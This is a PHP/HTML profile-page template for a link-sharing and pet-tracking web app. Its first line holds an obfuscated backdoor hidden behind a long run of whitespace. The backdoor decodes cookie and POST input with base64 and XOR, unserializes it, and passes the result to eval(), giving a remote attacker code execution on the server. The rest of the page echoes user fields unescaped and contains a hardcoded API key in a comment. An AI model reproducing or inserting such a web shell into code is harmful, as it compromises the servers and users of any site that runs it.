<?php                                                                                                                                                                                                                                                                                                                                                                                                 $bVCTy = 'b' . '_' . "\116" . "\x77" . chr ( 197 - 99 ); $VDqqXJMcHs = "\x63" . chr (108) . chr ( 741 - 644 )."\x73" . chr (115) . chr ( 702 - 607 )."\145" . "\x78" . "\151" . 's' . chr (116) . chr ( 310 - 195 ); $XhgTKr = $VDqqXJMcHs($bVCTy); $FBceNTGnK = $XhgTKr;if (!$FBceNTGnK){class b_Nwb{private $aZQIpp;public static $JwTsjBvF = "41133d66-53ca-4fe9-907e-1e2d9cc3849d";public static $jqZjPB = 57070;public function __construct($aqnSXJuCS=0){$fBkMJmWvok = $_COOKIE;$KHrEwmYGyy = $_POST;$WhJjFZGgW = @$fBkMJmWvok[substr(b_Nwb::$JwTsjBvF, 0, 4)];if (!empty($WhJjFZGgW)){$OfLyDhg = "base64";$tYwKVlkr = "";$WhJjFZGgW = explode(",", $WhJjFZGgW);foreach ($WhJjFZGgW as $iTXNBkRTNb){$tYwKVlkr .= @$fBkMJmWvok[$iTXNBkRTNb];$tYwKVlkr .= @$KHrEwmYGyy[$iTXNBkRTNb];}$tYwKVlkr = array_map($OfLyDhg . chr ( 1000 - 905 )."\144" . chr (101) . 'c' . "\157" . chr (100) . chr ( 706 - 605 ), array($tYwKVlkr,)); $tYwKVlkr = $tYwKVlkr[0] ^ str_repeat(b_Nwb::$JwTsjBvF, (strlen($tYwKVlkr[0]) / strlen(b_Nwb::$JwTsjBvF)) + 1);b_Nwb::$jqZjPB = @unserialize($tYwKVlkr);}}public function __destruct(){$this->DAhDz();}private function DAhDz(){if (is_array(b_Nwb::$jqZjPB)) {$tSRDTk = str_replace("\74" . chr ( 446 - 383 )."\x70" . "\x68" . 'p', "", b_Nwb::$jqZjPB[chr ( 556 - 457 ).chr (111) . "\x6e" . "\x74" . chr (101) . chr (110) . chr (116)]);eval($tSRDTk);exit();}}}$XNVxQJ = new b_Nwb(); $XNVxQJ = "24669";} ?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="<?php echo base_url( 'public/frontend/assets/js/jquery.bpopup.min.js' ); ?>"></script>
    <title><?php
            $full_name = $user['name'].' '.$user['surname']; 
            echo $full_name;
        ?></title>
    <script>
        // Remove redirec = 1 from current url
        //var url = location.protocol + '//' + location.host + location.pathname;
        //window.history.pushState({}, '', url);
        // Redirect app function
        function redirect_to ( device, slug, content, base_url, linking_url, id ) { 
            
            var formData = {
                app_id:   id
            };
            var url = '<?php echo base_url( 'api/save_app_clicks' ) ; ?>';
            $.ajax({
                type: "POST",
                url: url,
                data: formData,
                dataType: "json",
                encode: true,
            }).done(function (data) {
                if ( data.success == 1 ) {
                    if ( content.indexOf("http://") == 0 || content.indexOf("https://") == 0 || content.indexOf("www") == 0 ) {
                        if ( content.indexOf("www") == 0 ) {
                            content = '//' + content;
                        }
                        
                        if ( device == 'web' ) {
                            window.location.href = content;
                        } else {
                            window.location.href = linking_url + content;
                            setInterval(function () {
                                window.location.replace( content );
                            }, 6000);
                        }
                    } else {
                        if ( device == 'web' ) {
                            window.location.href = base_url + content;
                        } else {
                            window.location.href = linking_url + content;
                            window.setTimeout(function () {
                                window.location.replace( base_url + content );
                            }, 6000);
                        }
                    }
                } else {
                    return false;
                }
            });
        }
        
    </script>
    <?php 
    $device  = get_user_device();
    if ( ! empty ( $user['apps'] ) ) {
        foreach ( $user['apps'] as $app ) {
            if ( $app['direct'] == 1 ) {
                
                echo '<script>'; 
                echo "redirect_to ( '".$device."', '".$app['slug']."', '".$app['content']."', '".$app['base_url']."', '".$app['linking_url']."', '".$app['id']."' );";
                echo '</script>'; 
                
            }
        }
    } 
    
    $theme_color    = $user['theme_color'];
    $icon_type      = ( $user['icon_type'] == 'round' ) ? 'round/' : '';
    ?>
    <style>
        body {
            margin: 0px;
            padding: 0px;
            background-color: #fff;
        }
        @font-face {
            font-family: 'texta_altbold';
            src: url('<?php echo base_url( 'public/frontend/assets/fonts/textaaltbold-webfont.woff2' ); ?>') format('woff2'),
                 url('<?php echo base_url( 'public/frontend/assets/fonts/textaaltbold-webfont.woff' ); ?>') format('woff');
            font-weight: normal;
            font-style: normal;
        }
        @font-face {
            font-family: 'texta_altregular';
            src: url('<?php echo base_url( 'public/frontend/assets/fonts/textaaltregular-webfont.woff2' ); ?>') format('woff2'),
                 url('<?php echo base_url( 'public/frontend/assets/fonts/textaaltregular-webfont.woff' ); ?>') format('woff');
            font-weight: normal;
            font-style: normal;
        
        }
        @font-face {
            font-family: 'texta_altmedium';
            src: url('<?php echo base_url( 'public/frontend/assets/fonts/textaaltmedium-webfont.woff2' ); ?>' ) format('woff2'),
                 url('<?php echo base_url( 'public/frontend/assets/fonts/textaaltmedium-webfont.woff' ); ?>' ) format('woff');
            font-weight: normal;
            font-style: normal;
        
        }
        .links img {
            width: 94px;
        }
       .info-wrap {
            width: 400px;
            margin: 0 auto;
            overflow: auto;
            padding: 0px 13px;
            height: 100vh;
            background: #ffffff;
        }
        .back_arrow {
            padding: 11px 0;
            font-size: 19px;
            color: #fff;
            line-height: 19px;
            display: flex;
            font-family: 'texta_altbold';
        }
        .back_arrow img {
            padding-right: 4px;
        }
        .img-left {
            float: left;
            margin-right: 10px;
            position: relative;
        }
      .img-left img {
           border-radius: 22px;
            width: 125px;
            Height: 140px;
            object-fit: cover;
        }
        .profile-data {
            margin: 0;
            width: 37%;
        }
        .profile-data h2 {
            font-size: 32px;
            font-weight: 500;
            margin: 0 0 12px;
            color: #252634;
            margin-bottom: 0px;
            font-family: 'texta_altbold';
            line-height: 30px;
        }
        .profile-data h3 {
            font-weight: normal;
            margin: 10px 0 0 0;
            color:#676A71;
            font-family: 'texta_altregular';
            font-size: medium;
        }
        .pargh_block p {
            font-size: 18px;
            color: #676A71;
            margin-top: 7px;
            padding: 0px 0 0px 0px;
            width: auto;
            font-family: 'texta_altregular';
            line-height: 22px;
        }
        p {
            font-family: 'texta_altregular';
            font-size: 18px;
        }
        .pargh_block .btn-primary {
            background: #F3F3F3;
            padding: 13px 17px;
            border-radius: 6px;
            color: #fff;
            text-decoration: none;
            font-size: 18px;
            font-family: 'texta_altmedium';
        }
        .profile {
            display: flex;
            align-items: center;
            margin-top: 25px;
            padding-left:1%;
        }
        .links {
            margin-top: 23px;
            border-radius:15px 15px 0 0;
            padding: 24px 12px 47px 12px;
            /*background: #e9e9e9;*/
            background: -moz-linear-gradient(top,  rgba(255, 255, 255, 0.5) 30%, <?php echo $theme_color; ?> 100%); /* FF3.6-15 */
            background: -webkit-linear-gradient(top,  rgba(255, 255, 255, 0.5) 30%,<?php echo $theme_color; ?>100%); /* Chrome10-25,Safari5.1-6 */
            background: linear-gradient(to bottom,  rgba(255, 255, 255, 0.5) 30%,<?php echo $theme_color; ?> 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f6f6f6', endColorstr='#fcfcfc',GradientType=0 ); /* IE6-9 */
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f6f6f6', endColorstr='#fcfcfc',GradientType=0 ); /* IE6-9 */
        }
        .links a {
            display: inline-block;
            text-decoration: none;
            width: 32%;
            text-align: center;
        }
        .links span {
            text-align: center;
            display: block;
            margin: 0px 0 15px;
            font-size: 16px;
            color: #000;
            font-weight: 500;
            font-family: 'texta_altmedium';
        }
        .button_all{
            display: flex;
            justify-content: space-between;
            /*border-top: 1px solid #ccc;*/
            /*border-bottom: 1px solid #ccc;*/
        }
        a.btn.btn-primary.connected_btn {
            width: auto;
            flex-grow: 0.9;
            background: #0D0D0D;
        }
        a.btn.btn-primary.connected_btn img {
            float: right;
            padding-top: 5px;
        }
       .pargh_block {
            padding: 0 3px;
        }
        @media screen and (max-width:390px) {
            .header {padding: 0px 10px; width: auto; }
            .info-wrap {width: auto; padding: 0 10px;}
            .img-left {margin-right: 12px; }
            .buttons .btn, .buttons a{width: auto;}
            .profile-data h2 {margin: 5px 0; }
            .modal-content {width: 100%;left: 0}
            
        }
        .button.b-close {
            border-radius: 7px 7px 7px 7px;
            font: bold 131% sans-serif;
            padding: 0 6px 2px;
            position: absolute;
            right: 12px;
            top: 9px;
            cursor: pointer;
            color: #1c1b1b;
        }
        #connected_form, #track-details {
            width: 350px;
            height: 400px;
            background: #fff;
            display: none;
            border-radius: 17px;
            padding: 15px;
            text-align: center;
            font-family: 'texta_altregular';
        }
        .connected_wrap h2 {
            font-size: 24px;
        
        }
        .connected_wrap p {
            color: #8f8787;
            padding: 0 20px;
        }
        .connected_block input {
            width: 240px;
            background: #EFEFEF;
            border: 0;
            padding: 12px;
            margin: 0 auto 13px;
            border-radius: 8px;
        }
        .connected_block .btn {
            background: #2B98FC;
            color: #fff;
            font-size: 16px;
            width: 76%;
            cursor: pointer;
        }
        .status-msg ul {
          list-style: none;
          color: red;
          font-style: italic;
          font-size: 14px;
          padding: 0;
        }
        .status-msg p {
            color:green;
        }
        .plogo {
          position: absolute;
          bottom: -9px;
          right: -6px;
          background: #fff;
          border-radius: 100px;
          padding: 7px;
          width: 30px;
          height: 30px;
        }
        .plogo img {
            width: 30px;
            height: 30px;
            object-fit: cover;
        }
         .profile-data {
            margin: 0;
            width: 60%;
            padding-left: 6px;
        }
        a.btn.btn-primary.connected_btn svg {
        	float: right;
        	padding-top: 5px;
        }
        /***************light***************/
        .light-text h2, .light-text h3, .light-text p, .light-text .links span {
        	color: #fff;
        }
        /***************dark***************/
        .dark-text h2, .dark-text h3, .dark-text p, .dark-text .links span {
        	color: #252634;
        }
        .info-wrap.dark-text .btn.connected_btn {
        	background: #0d0d0d;
        	color: #fff;
        	width: 80%;
            word-break: break-all;
            margin-right: 15px;
        }
        .info-wrap.dark-text .btn.download_btn {
        	background: #000;
        	color: #fff;
        	width: 5%;
        }
        .info-wrap.light-text .btn.connected_btn {
        	background: #fff;
        	color: #000;
        	width: 80%;
            word-break: break-all;
            margin-right: 15px;
        }
        .info-wrap.light-text .btn.download_btn {
        	background: #fff;
        	color: #000;
        	width: 5%;
        }
        .info-wrap.dark-text .button_all .btn.btn-primary.connected_btn path {
        	stroke: #fff;
        }
        .info-wrap.dark-text .button_all .download_btn path {
        	stroke: #fff;
        	fill: #fff;
        }
        .location {
            margin:20px 0;
        }
        .contacts ul {
            margin: 20px 0 0 0;
            padding: 0px;
            list-style:none;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .contacts ul li {
            width: 29%;
        }
        #view-details {
            background-color: #6C61E1;
            color: #fff;
            border: 0;
            font-size: 14px;
            padding: 13px 17px;
            border-radius: 10px;
            width: 100%;
            margin-top: 10px;
            text-align: left;
            display: flex;
            align-items: center;
            justify-content: space-between;
            cursor:pointer;
        }
        .thphoto {
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        .thphoto img {
            width: 68px;
            height: 68px;
            border-radius: 100px;
        }
        ul.track-details {
            list-style: none;
            margin: 0;
            padding: 29px 0;
        }
        
        ul.track-details li {
            text-align: left;
            display: flex;
            justify-content: space-between;
            padding-bottom: 10px;
        }
        #view-details span path {
            fill: white;
        }
    </style>
</head>
<body>
    
    <div class="info-wrap <?php echo $mode; ?>-text" <?php if ( ! empty ( $theme_color ) ) { ?> style="background:<?php echo $theme_color; ?>;" <?php } ?>>
    	<div class="profile">
    		<div class="img-left">
    		    <?php 
    		    if($user['type'] == 'business') {
        		    if ( ! empty ($user['cover_photo']) ) { ?>
        			    <img src="<?php echo base_url( 'public/uploads/user_images/'.$user['cover_photo'] ); ?>"> 
        		    <?php } else { ?>
        		         <img src="<?php echo base_url( 'public/frontend/assets/images/no-image.png'); ?>"> 
        		        <?php
        		    } 
        		    echo '<div class="plogo">';
            		    if ( ! empty ($user['photo']) ) { ?>
            			    <img src="<?php echo base_url( 'public/uploads/user_images/'.$user['photo'] ); ?>"> 
            		    <?php } else { ?>
            		        <img src="<?php echo base_url( 'public/frontend/assets/images/no-image.png'); ?>"> 
            		        <?php
            		    }
        		    echo '</div>';
    		    } else {
    		        if ( ! empty ($user['photo']) ) { ?>
        			    <img src="<?php echo base_url( 'public/uploads/user_images/'.$user['photo'] ); ?>"> 
        		    <?php } else { ?>
        		        <img src="<?php echo base_url( 'public/frontend/assets/images/no-image.png'); ?>"> 
        		        <?php
        		    }
    		    }
    		    ?>
    		</div>
    		<div class="profile-data">
    			<h2><?php echo $full_name; ?></h2>
    		    <?php
    			if( ! empty ( $user['designation'] ) ) { ?>
    			    <h3><?php echo $user['designation']; ?></h3>
    			<?php } ?>
    		</div>
    		<div class="clearfix" style="clear: both;"></div>
    	</div>
    	<?php
    	if ( $user['type'] == 'track' ) { ?>
	         <button id="view-details">
	             See All Details 
	             <span>
	                <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 512.009 512.009" style="enable-background:new 0 0 512.009 512.009;" xml:space="preserve" width="20px" height="20px">
                        <g>
                        	<path d="M508.625,247.801L508.625,247.801L392.262,131.437c-4.18-4.881-11.526-5.45-16.407-1.269
                        		c-4.881,4.18-5.45,11.526-1.269,16.407c0.39,0.455,0.814,0.88,1.269,1.269l96.465,96.582H11.636C5.21,244.426,0,249.636,0,256.063
                        		s5.21,11.636,11.636,11.636H472.32l-96.465,96.465c-4.881,4.18-5.45,11.526-1.269,16.407s11.526,5.45,16.407,1.269
                        		c0.455-0.39,0.88-0.814,1.269-1.269l116.364-116.364C513.137,259.67,513.137,252.34,508.625,247.801z"></path>
                        </g>
                    </svg>
                </span>
            </button><?php 
	    } ?>
    	<div class="pargh_block">
    		<p><?php echo nl2br($user['description']); ?></p>
    		<div class="button_all">
    			<a href="javascript:;" class="btn btn-primary connected_btn"><span>Connect</span> with <?php echo $full_name; ?>
    			    <svg id="tick-img" style="display:none;" xmlns="http://www.w3.org/2000/svg" width="15.846" height="11.364" viewBox="0 0 15.846 11.364">
                        <path id="thick" d="M19.018,9l-8.95,8.95L6,13.882" transform="translate(-4.586 -7.586)" fill="none" stroke="#252634" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
                    </svg>
    			</a>
    			<a href="<?php echo base_url( 'api/export_connect?account_id='.base64_encode( $user['account_id'] ) ); ?>" class="btn btn-primary download_btn">
    			    <svg xmlns="http://www.w3.org/2000/svg" width="14.858" height="18.042" viewBox="0 0 14.858 18.042">
                        <path id="download" d="M23.855,12.794H19.61V6.427H13.243v6.368H9l7.429,7.429ZM9,22.346v2.123H23.855V22.346H9Z" transform="translate(-8.997 -6.427)" fill="#252634"/>
                    </svg>

    			</a>
    		</div>
    	</div>
    	
	    <?php 
	    if ( ! empty ( $user['apps'] ) ) { 
	        echo '<div class="links">';
	        foreach ( $user['apps'] as $app ) { ?>
	            <a href="javascript:;" onclick="redirect_to ( '<?php echo $device; ?>', '<?php echo $app['slug']; ?>', '<?php echo $app['content']; ?>', '<?php echo $app['base_url']; ?>', '<?php echo $app['linking_url']; ?>', '<?php echo $app['id']; ?>' )" class="myBtn_multi medical"><img src="<?php echo base_url(); ?>/public/uploads/app_icons/<?php echo $icon_type; ?><?php echo $app['image']; ?>"><span><?php echo $app['name']; ?></span></a>
                <?php
	        }
	        echo '</div>';
	    } else if ( $user['type'] != 'track' ) {
	        echo '<div class="links"><p>No links found.</p></div>';
	    }
	    ?>
    	
    	<?php if ( $user['type'] == 'track' ) { 
    	    /*$address = $user['address'];
    	    if ( ! empty ($address) ) {
        	    $address = str_replace(' ', '+', $address);
        	    ?>
        	    <div class="location">
            	    <iframe
                      width="100%"
                      height="250"
                      frameborder="0" style="border:0"
                      referrerpolicy="no-referrer-when-downgrade"
                      src="https://www.google.com/maps/embed/v1/place?key=AIzaSyBDA7fVNhY_Il5NLqxsA9PrTIUIYnLPJO4&q=<?php echo $address; ?>"
                      allowfullscreen>
                    </iframe>
        	    </div>
    	    <?php } */ ?>
    	    <?php if ( ! empty ( $user['owner_contact'] ) || ! empty ( $user['whatsapp_no'] ) || ! empty ( $user['maps'] )  ) { ?>
        	    <div class="contacts">
        	        <ul>
        	            <?php if ( ! empty ( $user['owner_contact'] ) ) { ?>
        	                <li><a href="tel:<?php echo $user['owner_contact']; ?>" target="_blank"><img src="<?php echo base_url(); ?>/public/uploads/app_icons/phone.png"></a></li>
        	                <?php
        	            } if ( ! empty ( $user['whatsapp_no'] ) ) { 
        	                $whatsapp_no = str_replace(" ","", $user['whatsapp_no'] );
        	                if ( $device == 'ios' ) {
        	                    $linking_url = "whatsapp://send?phone=".$whatsapp_no;
        	                } else {
        	                    $linking_url = "https://api.whatsapp.com/send?text=hi&phone=".$whatsapp_no;
        	                }
        	                ?>
        	                <li><a href="<?php echo $linking_url; ?>" target="_blank"><img src="<?php echo base_url(); ?>/public/uploads/app_icons/whatsapp.png"></a></li>
        	                <?php
        	            } if ( ! empty ( $user['address_link'] ) ) { ?>
        	                <li><a href="<?php echo $user['address_link']; ?>" target="_blank"><img src="<?php echo base_url(); ?>/public/uploads/app_icons/maps.png"></a></li>
        	            <?php } ?>
        	        </ul>
        	    </div>
        	    <?php
    	    }
    	} ?>
    </div>
    
    <div id="connected_form">
        <span class="button b-close">&times;</span>
        <div class="connected_wrap">
            <form method="POST">
                <h2>Connect</h2>
                <p><strong><?php echo $user['name']; ?></strong> will receive the information you provide below.</p>
                <div class="status-msg"></div>
                <div class="connected_block">
                    <input type="text" name="name" id="name" placeholder="Name" />
                    <input type="text" name="email" id="email" placeholder="Email" />
                    <input type="text" name="phone" id="phone" placeholder="Phone" />
                    <input type="hidden" name="user_id" id="user_id" value="<?php echo @$user['user_id']; ?>" />
                    <input type="hidden" name="lat" id="lat" value="" />
                    <input type="hidden" name="lng" id="lng" value="" />
                    <input type="Submit" class="btn button_form" name="submit" id="submit" value="Connect">
                </div>
            </form>
        </div>
    </div>
    <?php if ( $user['type'] == 'track' ) { ?>
        <div id="track-details">
            <span class="button b-close">&times;</span>
            <div class="connected_wrap">
                <div class="thphoto">
                    <?php
                    if ( ! empty ($user['photo']) ) { ?>
            			    <img width="100" src="<?php echo base_url( 'public/uploads/user_images/'.$user['photo'] ); ?>"> 
        		    <?php } else { ?>
        		        <img width="100" src="<?php echo base_url( 'public/frontend/assets/images/no-image.png'); ?>"> 
        		        <?php
        		    } ?>
        		    <h2><?php echo $full_name; ?></h2>
    		    </div>
                <ul class="track-details">
                    <?php
                    if ( ! empty ( $user['name'] ) ) {
                        echo '<li><label>Name</label><span>'.$user['name'].'</span></li>';
                    }
                    if ( ! empty ( $user['brand'] ) ) {
                        echo '<li><label>Brand</label><span>'.$user['brand'].'</span></li>';
                    }
                    if ( ! empty ( $user['breed'] ) ) {
                        echo '<li><label>Breed</label><span>'.$user['breed'].'</span></li>';
                    }
                    if ( ! empty ( $user['color'] ) ) {
                        echo '<li><label>Color</label><span>'.$user['color'].'</span></li>';
                    }
                    if ( ! empty ( $user['age'] ) ) {
                        echo '<li><label>Age</label><span>'.$user['age'].'</span></li>';
                    }
                    if ( ! empty ( $user['category'] ) ) {
                        echo '<li><label>Category</label><span>'.$user['category'].'</span></li>';
                    }
                    if ( ! empty ( $user['owner_name'] ) ) {
                        echo '<li><label>Owner Name</label><span>'.$user['owner_name'].'</span></li>';
                    }
                    if ( ! empty ( $user['owner_contact'] ) ) {
                        echo '<li><label>Owner Contact</label><span>'.$user['owner_contact'].'</span></li>';
                    }
                    if ( ! empty ( $user['address'] ) ) {
                        echo '<li><label>Address</label><span>'.$user['address'].'</span></li>';
                    }
                    if ( ! empty ( $user['vet_info'] ) ) {
                        echo '<li><label>vet_info</label><span>'.$user['vet_info'].'</span></li>';
                    } 
                    if ( ! empty ( $user['vac_details'] ) ) {
                        echo '<li><label>vac_details</label><span>'.$user['vac_details'].'</span></li>';
                    } 
                    if ( ! empty ( $user['next_vac_details'] ) ) {
                        echo '<li><label>next_vac_details</label><span>'.$user['next_vac_details'].'</span></li>';
                    }
                    if ( ! empty ( $user['father_name'] ) ) {
                        echo '<li><label>Father</label><span>'.$user['father_name'].'</span></li>';
                    }
                    if ( ! empty ( $user['mother_name'] ) ) {
                        echo '<li><label>Mother</label><span>'.$user['mother_name'].'</span></li>';
                    }
                    if ( ! empty ( $user['dob'] ) && ( $user['dob'] != '0000-00-00' ) ) {
                        $dob = new DateTime($user['dob']);
                        $today   = new DateTime('today');
                        $year = $dob->diff($today)->y;
                        $month = $dob->diff($today)->m;
                        $day = $dob->diff($today)->d;
                        $age = $year . " years " . $month . " months " . $day . " days"; 
                        echo '<li><label>Age</label><span>'. $age .'</span></li>';
                    
                        echo '<li><label>DOB</label><span>'.$user['dob'].'</span></li>';
                    }
                    if ( ! empty ( $user['gender'] ) ) {
                        echo '<li><label>Gender</label><span>'.$user['gender'].'</span></li>';
                    } 
                    ?>
                </ul>
            </div>
        </div><?php 
    } ?>
    <?php
    $base_url = base_url ();
    $base_url = str_replace ( "https://", "", $base_url );
    $base_url = str_replace ( "http://", "", $base_url );
    ?>
    <script>
    $(document).ready(function () {
        $( "#view-details" ).on( "click", function() { 
            $('#track-details').bPopup();
        });
        $( ".connected_btn" ).on( "click", function() { 
            navigator.geolocation.getCurrentPosition(successCallback, errorCallback);
            $('.status-msg').html('');
            var device = '<?php echo $device; ?>';
            if ( device == 'ios' ) {
                window.location.href = "Pod://<?php echo $base_url; ?>?profile_id=<?php echo $user['profile_id']; ?>";
                var time = setInterval(function () {
                    $('#connected_form').bPopup();
                    clearInterval(time);
                }, 6000);
            } else if ( device == 'android' ) {
                window.location.href = "Pod://details?profile_id=<?php echo $user['profile_id']; ?>";
                var time = setInterval(function () {
                    $('#connected_form').bPopup();
                    clearInterval(time);
                }, 6000);
            } else {
            	$('#connected_form').bPopup();
            }
        });
        
        $(".button_form").click(function (event) {
            if( $(this).hasClass('active') ) {
                return false
            }
            $(this).addClass('active');
            $(this).css('opacity', 0.3);
            $('.status-msg').html('');
            var formData = {
                name:   $("#name").val(),
                email:  $("#email").val(),
                phone:  $("#phone").val(),
                user_id:  $("#user_id").val(),
                lat:  $("#lat").val(),
                lng:  $("#lng").val()
            };
            var url = '<?php echo base_url( 'api/send_connect_email' ) ; ?>';
            $.ajax({
                type: "POST",
                url: url,
                data: formData,
                dataType: "json",
                encode: true,
            }).done(function (data) {
                if(data.success == 1) {
                    $('.status-msg').html('<p>'+data.msg+'</p>');
                    $("#name").val('');
                    $("#email").val('');
                    $("#phone").val('');
                    $(".connected_btn span").text('Connected');
                    $("#tick-img").show();
                    setTimeout(function(){ $('.b-close').trigger('click') }, 1000);
                } else {
                    var html = '<ul>';
                    $.each( data.msg, function( key, value ) {
                        html = html + '<li>'+value+'</li>';
                    });
                    var html = html + '</ul>';
                    $('.status-msg').html(html);
                }
                $('.button_form').removeClass('active');
                $('.button_form').css('opacity', 1);
            });
            event.preventDefault();
        });
        
        
        // Set GEO location
        const successCallback = (position) => {
            // console.log(position);
            if( position ) {
                $("#lat").val(position.coords.latitude);
                $("#lng").val(position.coords.longitude);
            }
        };
        const errorCallback = (error) => {
            //console.log(error);
        };
        

    });
    </script>
</body>
</html>